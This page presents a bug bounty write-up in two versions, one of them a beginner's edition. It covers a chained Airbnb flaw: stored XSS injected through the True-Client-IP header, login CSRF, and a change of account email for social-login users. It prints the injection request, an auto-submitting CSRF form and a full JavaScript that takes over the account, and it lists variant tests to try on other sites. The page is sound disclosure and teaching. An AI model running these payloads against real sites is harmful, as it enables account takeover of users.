Skip to content
XSS Write-up Intermediate

AirBnb Bug Bounty: Turning Self-XSS into Good-XSS #2

A stored cross-site scripting vulnerability existed in Airbnb's login history feature because the True-Client-IP header was reflected without sanitisation. An attacker could exploit this via a login CSRF to execute JavaScript in a victim's browser and change the victim's account email.

geekboy Follow

Published on geekboy.ninja

so this post is about one of my most interesting find while participating in bug bounty programs, yes interesting as its combination of many issues at AirBnb.

geekboy, on geekboy.ninja

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

## Context

Airbnb runs a public bug bounty programme on HackerOne, and this write-up covers a chain of issues found there. The feature at the centre of it is the account security setting that shows a user their login history: Airbnb tracked the source IP of each login and displayed it so that a user could see from which IP or location their account had previously been accessed, which is useful when a password is reused by someone else.

The login history is shown under the security settings of the account. Hovering the pointer over the **?** icon next to an entry reflects the IP address of the source machine.

The chain combines three issues:

1. Injecting an XSS payload via the `True-Client-IP` header.
2. Exploiting login/logout CSRF.
3. Escalating the self stored XSS to change the victim's account email.

## Setup

The researcher worked against `www.airbnb.co.in`. No special role or privilege is described. The preconditions that matter are behavioural: the target must trust a client-supplied header for the login history, the login and logout endpoints must lack CSRF protection, and social login users must be able to change their email without password re-authentication.

## Finding it

The initial observation was that the IP shown in the login history is taken from a header the client controls. The researcher had seen IP spoofing via headers before, in a HackerOne report referenced in the post, and tried the same idea here: sending an arbitrary IP in the `True-Client-IP` header with the login request causes that IP to appear in the login history.

On its own that is not convincing to report, because it only affects your own account, and doing it to someone else would require their password. The idea of trying other strings instead of an IP in `True-Client-IP` came from Parth. Any string sent in that header is reflected directly under the security setting, which makes XSS the obvious next step.

## Exploitation

### Step 1: XSS via the True-Client-IP header

Sending an XSS payload instead of an IP address in the `True-Client-IP` header on the login request stored the payload, and it executed whenever the security page was loaded.

```http
POST /authenticate HTTP/1.1
Host: www.airbnb.co.in
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-CSRF-Token: V4$.airbnb.co.in$CpeQjCEtXnk$[redacted]=
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Referer: https://www.airbnb.co.in/
True-Client-IP: <h1>XSS</h1></center><script>alert(document.domain)</script>
Content-Length: 198
Cookie: [REDACTED]
Connection: close

utf8=â&authenticity_token=[REDACTED]&from=email_login&airlock_id=&email=[REDACTED]&[redacted]
```

The important part is the `True-Client-IP` header, which carries the payload `<h1>XSS</h1></center><script>alert(document.domain)</script>` instead of an address. The body is a normal email login: `from=email_login`, the email and password fields, and the authenticity token. The response is not shown in the report; what the researcher observed is that the payload is stored and executes when the security page is requested.

This is a self stored XSS: it fires in the account that performed the login, on the security page.

### Step 2: Login and logout CSRF

The researcher noticed there is no CSRF protection on login or on logout. That allows an attacker to log a victim out of their own account and log them into the attacker's account, then redirect them to the security page, where the stored XSS executes in the victim's browser.

The CSRF proof of concept:

```html
<html>
 <body>
 <center> <br>
 <form action="https://www.airbnb.co.in/authenticate" method="POST">
 <input type="hidden" name="utf8" value="â" />
 <input type="hidden" name="authenticity_token" value="" />
 <input type="hidden" name="from" value="email_login" />
 <input type="hidden" name="airlock_id" value="" />
 <input type="hidden" name="email" value="[redacted]" />
 <input type="hidden" name="password" value="attacker@password" />
 <input type="hidden" name="form_remember_browser" value="yes" />
 <input type="hidden" name="redirect_params" value="https://www.airbnb.co.in/users/security/78323762" />
 <input type="submit" value="XSS ME" />
 </form>
 <script>
 document.forms[0].submit();
 </script>
 </center>
 </body>
</html>
```

The form posts the attacker's credentials to `/authenticate` with an empty `authenticity_token`, and `redirect_params` points at the security page of the attacker's account (`/users/security/78323762`). The script submits the form automatically. The victim ends up logged into the attacker's account and lands on the page where the stored payload fires.

That alone would have been enough to report, but the researcher wanted to check whether the attack could be run against the victim's own account rather than forcing the victim into the attacker's account.

### Step 3: Escalating the self stored XSS to change the victim's email

Airbnb also supports social login with Google and Facebook. For users who sign in that way, the XSS can be turned into an attack on their own account. The approach:

- Instead of a normal XSS payload, inject remote hosted JavaScript.
- Make the victim log into the attacker's account via CSRF.
- The attacker's remote hosted JS executes.
- The JS performs a series of actions in iframes:
  - the victim is logged out of the attacker's account;
  - the victim is logged into their own account via Google Sign in;
  - the attacker navigates to the profile settings page;
  - the attacker extracts the CSRF token from the source code;
  - the attacker updates the victim's email.

Two details make the scenario work. The `X-Frame` header is set to `sameorigin`, so the requests can be made through iframes in the context of the Airbnb host. And social login users do not have password re-authentication when changing the email, so once the email is changed the account can be taken over through the password reset process.

The combined JavaScript:

```javascript
document.body.innerHTML='<html><body><center><h1>Testing :)</h1></center></body></html>';

var profileIframe = document.createElement('iframe');
 profileIframe.setAttribute('src', 'https://www.airbnb.co.in/logout');
 profileIframe.setAttribute('id', 'pi');
 document.body.appendChild(profileIframe);

document.getElementById('pi').onload = function() {
 var profileIframe1 = document.createElement('iframe');
 profileIframe1.setAttribute('src', 'https://www.airbnb.co.in/oauth_connect?from=google_login&service=google');
 profileIframe1.setAttribute('id', 'lo1');
 document.body.appendChild(profileIframe1);

document.getElementById('lo1').onload = function() {
 var profileIframe2 = document.createElement('iframe');
 profileIframe2.setAttribute('src', 'https://www.airbnb.co.in/users/edit');
 profileIframe2.setAttribute('id', 'po');
 document.body.appendChild(profileIframe2);

document.getElementById('po').onload = function() {

var lol = document.getElementById('po').contentWindow.document.body.innerHTML;
var ha = lol.split('"authenticity_token" type="hidden" value="');
var na = ha[1].split('"');

var ha2 = lol.split('https://www.airbnb.co.in/users/edit_verification/');
var na2 = ha2[1].split('"');

var ha22 = lol.split('"user[first_name]" size="30" type="text" value="');
var na22 = ha22[1].split('"');

var ha221 = lol.split('"user[last_name]" size="30" type="text" value="');
var na221 = ha221[1].split('"');

var ha222 = lol.split('"user[email]" size="30" type="text" value="');
var na222 = ha222[1].split('"');

 function submitRequest()
 {
 var xhr = new XMLHttpRequest();
 xhr.open("POST", "https://www.airbnb.co.in/update/"+na2[0]+"", true);
 xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
 xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
 xhr.withCredentials = true;
 var body = "utf8=â�
““&authenticity_token="+na[0]+"&user[first_name]=Got&user[last_name]=Hacked&user[email]=[redacted]&user_id="+na2[0]+"";
 var aBody = new Uint8Array(body.length);
 for (var i = 0; i < aBody.length; i++)
 aBody[i] = body.charCodeAt(i);
 xhr.send(new Blob([aBody]));
 }
 submitRequest();

}}}
```

The script replaces the page body, then loads `/logout` in an iframe to end the session in the attacker's account. On load it loads `/oauth_connect?from=google_login&service=google` to sign the victim back into their own account through Google. On load of that frame it loads `/users/edit`, the profile settings page, and reads its body HTML. From that HTML it extracts the `authenticity_token`, the user id from the `/users/edit_verification/` URL, and the first name, last name and email fields. It then posts to `/update/<user_id>` with credentials included, setting `user[first_name]=Got`, `user[last_name]=Hacked` and `user[email]=[redacted]`. The body is converted to a `Uint8Array` and sent as a `Blob`.

With the email changed, the attacker can reset the account through the password reset process.


{{media:2}}


## Root cause

The value of the `True-Client-IP` header was stored and shown in the login history, so any string, including HTML and script, was reflected under the security setting. The login and logout endpoints lacked CSRF protection, which allowed the victim to be moved between sessions. The `X-Frame` header set to `sameorigin` allowed the attacker's script to drive the Airbnb pages in iframes, and social login users had no password re-authentication when changing their email, so the email change went through without password re-authentication.

## Impact

An attacker could execute JavaScript in a victim's browser on the Airbnb origin. With the login CSRF, the victim could be logged into the attacker's account and redirected to the security page where the payload fires. For users who sign in with Google or Facebook, the script could log the victim out of the attacker's account, log them back into their own account, read the CSRF token from the profile settings page and change the account email, after which the account could be taken over through password reset.

## Fix

Airbnb removed the **Login History** feature from the account settings, which was the root cause of the issue.

## Variants to test

- Send arbitrary strings in client IP headers such as `True-Client-IP`, `X-Forwarded-For` and `X-Real-IP` on login and other requests, then check whether they are reflected in the UI. A positive result is the string appearing unescaped in the page source.
- Test login and logout endpoints for missing CSRF tokens by submitting cross-origin forms. A positive result is the session changing without a valid token.
- Check whether `X-Frame-Options: sameorigin` allows framing pages that contain sensitive actions, and whether those actions can be driven from an iframe. A positive result is a state-changing request succeeding inside the frame.
- For accounts created through social login, try changing the email without re-entering a password. A positive result is the email being updated with no re-authentication prompt.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

## What happened, in plain words

Airbnb is a website where people book places to stay. Like any website that holds personal information, it has a login system: you give an email address and a password, and the site lets you in. Airbnb also runs a bug bounty programme on a platform called HackerOne. A bug bounty programme is an offer from a company: if you find a security problem in our product and tell us about it responsibly, we may reward you. This write-up is the story of one such find.

The find is not one single bug. It is a chain of three smaller problems that, added together, let an attacker change another person's account email. The three pieces are:

1. A way to sneak a small piece of JavaScript (a program that runs inside a web page) into a page Airbnb shows to the user, through a request header called `True-Client-IP`.
2. A way to make a victim's browser log in or log out without the victim meaning to, because the login and logout forms had no protection against that trick (this trick is called CSRF).
3. A way to use the first two together so that, for people who sign in with Google or Facebook, the attacker's script could change the victim's email address, and from there take over the account.

Before going further, a few words on the pieces of the web you will meet in this article.

- A **request** is what your browser sends to a website when you click a link, submit a form or load a page. It is a short text message with a first line (the method and the address), a set of headers (extra information), and sometimes a body (the data you are sending, such as your email and password).
- A **header** is one line of that extra information. For example, `User-Agent` tells the site which browser you use. Headers are written by your browser, but anyone can craft a request by hand and put whatever they like in a header.
- A **cookie** is a small piece of text the website asks your browser to keep and send back on every later request. It is how the site remembers that you are logged in. If someone steals your cookie, they can act as you.
- A **token** (here, an `authenticity_token` or `X-CSRF-Token`) is a random string the site puts into a form or a request to prove that the request really came from a page the site itself served, and not from some other site. It is a guard against the CSRF trick described below.
- **XSS** stands for Cross-Site Scripting. It means getting your own JavaScript to run inside someone else's website, in the browser of a visitor. Once your script runs on that site, it can read what the page shows, click buttons on the user's behalf, and send requests as the logged-in user.
- **CSRF** stands for Cross-Site Request Forgery. It means making a logged-in user's browser send a request to a site the user is logged into, without the user wanting to. The classic example is a hidden form on the attacker's page that submits itself to the victim's bank. The browser attaches the victim's cookies automatically, so the bank thinks the request came from the victim.
- An **iframe** is a small window inside a web page that shows another page. Websites use them to embed content. An attacker can also use them to load pages of the target site inside the attacker's own page.
- **Social login** means signing in with an account from another company, such as Google or Facebook, instead of typing a password on the site itself.

Now the story.

## The feature at the centre: login history

Airbnb used to keep a record of every login to your account, and showed it to you under your account security settings. The idea is simple and useful: if you reuse the same password on several sites and someone else gets hold of it, you can open your security settings and see that someone logged in from a place you have never been. That is a warning sign.

For each entry, the page showed the IP address of the machine that logged in. An IP address is the number that identifies a computer on the internet, a bit like a postal address for a device. Next to each entry there was a small **?** icon; hovering the pointer over it showed the IP address of the source machine.

The screenshot shows the login history under the security settings.

## The first idea: can I choose the IP that gets recorded?

The researcher had seen before, in another HackerOne report, that some sites trust a header called `True-Client-IP` to learn the visitor's IP address. That header is normally set by a proxy or a content delivery network sitting in front of the site, not by the visitor. If the site reads it without checking, anyone can put any value in it.

So the first experiment was: send a login request with a made-up IP in `True-Client-IP`, and see whether the login history shows that made-up IP instead of the real one. It did. That is IP spoofing: pretending to come from a different address.

On its own, this is not worth reporting. You can only do it to your own account, and doing it to someone else would require their password, which is not a realistic attack. The interesting step came from a suggestion by Parth: instead of putting an IP address in that header, put any string at all. The researcher tried it, and whatever string was sent appeared directly under the security setting. If arbitrary text appears on a page, the next question is obvious: can that text be HTML and JavaScript?

## Step 1: XSS through the True-Client-IP header

The answer was yes. Sending an XSS payload instead of an IP address in the `True-Client-IP` header on the login request stored the payload, and it executed whenever the security page was loaded.

```http
POST /authenticate HTTP/1.1
Host: www.airbnb.co.in
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-CSRF-Token: V4$.airbnb.co.in$CpeQjCEtXnk$[redacted]=
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Referer: https://www.airbnb.co.in/
True-Client-IP: <h1>XSS</h1></center><script>alert(document.domain)</script>
Content-Length: 198
Cookie: [REDACTED]
Connection: close

utf8=â&authenticity_token=[REDACTED]&from=email_login&airlock_id=&email=[REDACTED]&[redacted]
```

Line by line, in plain words:

- `POST /authenticate HTTP/1.1` is the first line of the request. `POST` means "I am sending data". `/authenticate` is the address on the site that handles logins. `HTTP/1.1` is the version of the language the browser and server speak.
- `Host: www.airbnb.co.in` says which site the request is for. One server can host many sites, so the request has to name the one it wants.
- `User-Agent` describes the browser. Here it claims to be Firefox on Windows. It is just a label; the server uses it for statistics and compatibility.
- `Accept`, `Accept-Language` and `Accept-Encoding` tell the server what kind of response the browser can handle and in which language, and that it can accept compressed responses.
- `X-CSRF-Token` is the anti-CSRF token for this request. It is a long random string. The site gave it to the browser earlier, and the browser sends it back so the site can check the request is genuine.
- `Content-Type: application/x-www-form-urlencoded` says the body is formatted like a form submission: `name=value` pairs joined by `&`.
- `Cache-Control: no-cache` asks that the response not be stored and reused.
- `X-Requested-With: XMLHttpRequest` is a common marker that the request was made by JavaScript rather than by clicking a link.
- `Referer` says which page the request came from. Here it is the Airbnb home page.
- `True-Client-IP` is the important line. Instead of an IP address, it carries the payload `<h1>XSS</h1></center><script>alert(document.domain)</script>`. The `<h1>` part makes a big heading, the `</center>` closes a centring tag, and the `<script>` part is JavaScript that shows a pop-up with the domain of the page. That pop-up is the classic proof that script is running on the target site.
- `Content-Length` is the size of the body in bytes.
- `Cookie` is the session cookie. It is redacted here because it is the key to the account.
- `Connection: close` asks the server to close the connection after the response.
- The blank line separates headers from body.
- The body is a normal email login: `utf8=â` is a small marker the form sends, `authenticity_token` is the anti-CSRF token from the form, `from=email_login` says this is an email login, `airlock_id` is empty, and then the email and password fields. The email and password are redacted.

The response is not shown in the report. What the researcher observed is that the payload is stored and executes when the security page is requested.

This is called a **self stored XSS**: "stored" because the payload is saved on the server and shown again later, and "self" because it fires in the account that performed the login. On its own, again, it only affects the person who sent it. The next step is to make someone else's browser send that login.

## Step 2: Login and logout CSRF

The researcher noticed that the login and the logout endpoints had no CSRF protection. In other words, the site did not check the anti-CSRF token on those two actions. That means an attacker can build a page that, when a victim visits it, logs the victim out of their own account and logs them into the attacker's account. Then the attacker can send the victim to the security page, where the stored XSS fires in the victim's browser.

Here is the proof of concept:

```html
<html>
 <body>
 <center> <br>
 <form action="https://www.airbnb.co.in/authenticate" method="POST">
 <input type="hidden" name="utf8" value="â" />
 <input type="hidden" name="authenticity_token" value="" />
 <input type="hidden" name="from" value="email_login" />
 <input type="hidden" name="airlock_id" value="" />
 <input type="hidden" name="email" value="[redacted]" />
 <input type="hidden" name="password" value="attacker@password" />
 <input type="hidden" name="form_remember_browser" value="yes" />
 <input type="hidden" name="redirect_params" value="https://www.airbnb.co.in/users/security/78323762" />
 <input type="submit" value="XSS ME" />
 </form>
 <script>
 document.forms[0].submit();
 </script>
 </center>
 </body>
</html>
```

Line by line:

- `<html>`, `<body>`, `<center>` and `<br>` are ordinary HTML: the page, its body, a centring wrapper and a line break.
- `<form action="https://www.airbnb.co.in/authenticate" method="POST">` starts a form that will send its fields to the login address with the `POST` method.
- Each `<input type="hidden" ...>` is a field the visitor does not see. `name` is the field name the server expects, `value` is what gets sent.
- `utf8` carries the same small marker as before.
- `authenticity_token` is deliberately empty. The point of the test is that the server accepts the login even without a valid token.
- `from=email_login` says this is an email login.
- `airlock_id` is empty.
- `email` and `password` are the attacker's own credentials. The victim will be logged in as the attacker.
- `form_remember_browser=yes` asks the site to remember the browser.
- `redirect_params` is where the victim is sent after login: `https://www.airbnb.co.in/users/security/78323762`, the security page of the attacker's account. That is the page where the stored payload fires.
- `<input type="submit" value="XSS ME">` is a button, but nobody needs to click it.
- The `<script>` block calls `document.forms[0].submit()`, which submits the first form on the page automatically as soon as the page loads.

So the victim visits the attacker's page, the form submits itself, the victim is logged into the attacker's account, and the browser lands on the security page where the stored payload runs. That alone would have been enough to report. But the researcher wanted to check whether the attack could be run against the victim's own account, rather than forcing the victim into the attacker's account.

## Step 3: From self XSS to changing the victim's email

Airbnb also supports social login with Google and Facebook. For users who sign in that way, the XSS can be turned into an attack on their own account. The plan:

- Instead of a normal XSS payload, inject remote hosted JavaScript. That means the payload is not a short `alert()` but a small script loaded from a server the attacker controls, so the attacker can change it without touching the stored value.
- Make the victim log into the attacker's account via CSRF, as in step 2.
- The attacker's remote hosted JS executes in the victim's browser.
- The JS performs a series of actions in iframes:
  - the victim is logged out of the attacker's account;
  - the victim is logged into their own account via Google Sign in;
  - the attacker navigates to the profile settings page;
  - the attacker extracts the CSRF token from the source code;
  - the attacker updates the victim's email.

Two details make the scenario work. The `X-Frame` header is set to `sameorigin`, which means the site allows its pages to be shown inside an iframe, as long as the page containing the iframe is on the same origin. Because the script is already running on the Airbnb origin, it can frame Airbnb pages and read what is inside them. And social login users do not have password re-authentication when changing the email, so once the email is changed the account can be taken over through the password reset process.

Here is the combined JavaScript:

```javascript
document.body.innerHTML='<html><body><center><h1>Testing :)</h1></center></body></html>';

var profileIframe = document.createElement('iframe');
 profileIframe.setAttribute('src', 'https://www.airbnb.co.in/logout');
 profileIframe.setAttribute('id', 'pi');
 document.body.appendChild(profileIframe);

document.getElementById('pi').onload = function() {
 var profileIframe1 = document.createElement('iframe');
 profileIframe1.setAttribute('src', 'https://www.airbnb.co.in/oauth_connect?from=google_login&service=google');
 profileIframe1.setAttribute('id', 'lo1');
 document.body.appendChild(profileIframe1);

document.getElementById('lo1').onload = function() {
 var profileIframe2 = document.createElement('iframe');
 profileIframe2.setAttribute('src', 'https://www.airbnb.co.in/users/edit');
 profileIframe2.setAttribute('id', 'po');
 document.body.appendChild(profileIframe2);

document.getElementById('po').onload = function() {

var lol = document.getElementById('po').contentWindow.document.body.innerHTML;
var ha = lol.split('"authenticity_token" type="hidden" value="');
var na = ha[1].split('"');

var ha2 = lol.split('https://www.airbnb.co.in/users/edit_verification/');
var na2 = ha2[1].split('"');

var ha22 = lol.split('"user[first_name]" size="30" type="text" value="');
var na22 = ha22[1].split('"');

var ha221 = lol.split('"user[last_name]" size="30" type="text" value="');
var na221 = ha221[1].split('"');

var ha222 = lol.split('"user[email]" size="30" type="text" value="');
var na222 = ha222[1].split('"');

 function submitRequest()
 {
 var xhr = new XMLHttpRequest();
 xhr.open("POST", "https://www.airbnb.co.in/update/"+na2[0]+"", true);
 xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
 xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
 xhr.withCredentials = true;
 var body = "utf8=â�
““&authenticity_token="+na[0]+"&user[first_name]=Got&user[last_name]=Hacked&user[email]=[redacted]&user_id="+na2[0]+"";
 var aBody = new Uint8Array(body.length);
 for (var i = 0; i < aBody.length; i++)
 aBody[i] = body.charCodeAt(i);
 xhr.send(new Blob([aBody]));
 }
 submitRequest();

}}}
```

Line by line, in plain words:

- `document.body.innerHTML='<html><body><center><h1>Testing :)</h1></center></body></html>';` replaces the whole visible page with a simple "Testing :)" message. This is just to show the script is running.
- `var profileIframe = document.createElement('iframe');` creates an iframe element in memory.
- `profileIframe.setAttribute('src', 'https://www.airbnb.co.in/logout');` points it at the logout address.
- `profileIframe.setAttribute('id', 'pi');` gives it the name `pi` so it can be found later.
- `document.body.appendChild(profileIframe);` puts it on the page, which makes the browser load the logout page inside it. That logs the victim out of the attacker's account.
- `document.getElementById('pi').onload = function() {` says: when that iframe has finished loading, run the following code.
- Inside, a second iframe is created and pointed at `https://www.airbnb.co.in/oauth_connect?from=google_login&service=google`. That is the address that starts a Google sign-in. Because the victim is now logged out of the attacker's account, the browser can sign them back into their own account through Google.
- `document.getElementById('lo1').onload = function() {` waits for that second iframe to finish loading, then creates a third iframe pointed at `https://www.airbnb.co.in/users/edit`, the profile settings page.
- `document.getElementById('po').onload = function() {` waits for the profile page to load, then reads its HTML: `var lol = document.getElementById('po').contentWindow.document.body.innerHTML;`. This works because the script is on the same origin as the framed page.
- The `split` lines cut that HTML at known pieces of text to pull out values. `ha` and `na` extract the `authenticity_token` from a hidden input. `ha2` and `na2` extract the user id from a URL of the form `https://www.airbnb.co.in/users/edit_verification/<id>`. `ha22`, `ha221` and `ha222` extract the first name, last name and email fields. The `[1]` means "the part after the split point", and the second `split('"')` stops at the closing quote.
- `function submitRequest()` defines the function that sends the final request.
- `var xhr = new XMLHttpRequest();` creates a request object, the browser's way of sending a request from JavaScript.
- `xhr.open("POST", "https://www.airbnb.co.in/update/"+na2[0]+"", true);` prepares a `POST` to the update address for the extracted user id. The `true` means "do it in the background, do not block the page".
- The three `setRequestHeader` lines set the same kind of headers you saw in the first request: what response types are accepted, the language, and that the body is form-encoded.
- `xhr.withCredentials = true;` tells the browser to attach the victim's cookies to the request, so the site treats it as coming from the logged-in victim.
- The `body` line builds the form data: the small `utf8` marker, the extracted `authenticity_token`, and the new values `user[first_name]=Got`, `user[last_name]=Hacked` and `user[email]=[redacted]`, plus the user id.
- The `Uint8Array` loop copies each character of the body into a byte array. This is a workaround for the special characters in the `utf8` value.
- `xhr.send(new Blob([aBody]));` sends the body as a binary blob.
- `submitRequest();` calls the function, so the email change is sent.
- The three closing `}}}` close the three `onload` functions.

With the email changed, the attacker can reset the account through the password reset process.


{{media:2}}


## Why it worked

The value of the `True-Client-IP` header was stored and shown in the login history, so any string, including HTML and script, was reflected under the security setting. Sanitisation means cleaning input before showing it: turning `<` into `&lt;` so the browser shows it as text instead of treating it as the start of an HTML tag. Because that was missing, any string, including HTML and script, was reflected under the security setting.

The login and logout endpoints lacked CSRF protection, which allowed the victim to be moved between sessions without meaning to. The `X-Frame` header set to `sameorigin` allowed the attacker's script to drive the Airbnb pages in iframes and read their contents. And social login users had no password re-authentication when changing their email, so the email change went through without a second check.

## What an attacker could do

An attacker could execute JavaScript in a victim's browser on the Airbnb origin. With the login CSRF, the victim could be logged into the attacker's account and redirected to the security page where the payload fires. For users who sign in with Google or Facebook, the script could log the victim out of the attacker's account, log them back into their own account, read the CSRF token from the profile settings page and change the account email, after which the account could be taken over through password reset.

## The fix

Airbnb removed the **Login History** feature from the account settings, which was the root cause of the issue.

## Things worth trying on other sites

- Send arbitrary strings in client IP headers such as `True-Client-IP`, `X-Forwarded-For` and `X-Real-IP` on login and other requests, then check whether they are reflected in the UI. A positive result is the string appearing unescaped in the page source.
- Test login and logout endpoints for missing CSRF tokens by submitting cross-origin forms. A positive result is the session changing without a valid token.
- Check whether `X-Frame-Options: sameorigin` allows framing pages that contain sensitive actions, and whether those actions can be driven from an iframe. A positive result is a state-changing request succeeding inside the frame.
- For accounts created through social login, try changing the email without re-entering a password. A positive result is the email being updated with no re-authentication prompt.

## Glossary

- **API**: a set of addresses and rules a website offers so that programs (including JavaScript in a page) can ask it to do things, such as log in or update a profile.
- **Bug bounty programme**: a company's public offer to pay or thank people who report security problems responsibly.
- **Cookie**: a small piece of text a site asks your browser to store and send back on later requests, used to remember that you are logged in.
- **CSRF (Cross-Site Request Forgery)**: tricking a logged-in user's browser into sending a request to a site the user is logged into, without the user wanting to.
- **CSRF token / authenticity token**: a random string placed in forms and requests so the site can tell a genuine request from a forged one.
- **Header**: one line of extra information in a request or response, such as `User-Agent` or `True-Client-IP`.
- **HTML**: the language that describes the structure of a web page: headings, forms, links and so on.
- **HTTP**: the language browsers and servers use to exchange requests and responses.
- **Iframe**: a small window inside a web page that shows another page.
- **IP address**: the number that identifies a computer on the internet.
- **JavaScript**: the programming language that runs inside web pages and can change what the page shows and send requests.
- **Origin**: the combination of scheme, host and port (for example `https://www.airbnb.co.in`). Pages from the same origin can read each other; pages from different origins cannot, unless the site allows it.
- **Password reset**: the process of proving you own the email address on an account and setting a new password through a link sent to that address.
- **Payload**: the piece of data an attacker sends to trigger a bug, here the HTML and script placed in a header.
- **POST**: an HTTP method used when sending data to the server, such as a login form.
- **Proxy**: a tool that sits between your browser and the site, letting you see and edit requests before they are sent.
- **Re-authentication**: asking the user to type their password again before a sensitive change, such as changing the email address.
- **Sanitisation**: cleaning input before displaying it, so that characters like `<` are shown as text rather than treated as HTML.
- **Self XSS**: an XSS that only fires in the account of the person who injected it, so on its own it does not harm anyone else.
- **Session**: the period during which a site remembers you as logged in, usually tracked by a cookie.
- **Social login**: signing in with an account from another company, such as Google or Facebook, instead of a password on the site itself.
- **Spoofing**: pretending to be something you are not, here pretending to come from a different IP address.
- **Stored XSS**: an XSS where the payload is saved on the server and shown to users later, rather than reflected immediately in a response.
- **Token**: a random string used to prove identity or to guard a request, such as a session token or a CSRF token.
- **X-Frame-Options**: a response header that tells the browser whether a page may be shown inside an iframe. `sameorigin` allows it only from the same origin.
- **XSS (Cross-Site Scripting)**: getting your own JavaScript to run inside someone else's website, in the browser of a visitor.

More by geekboy

View all

11 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.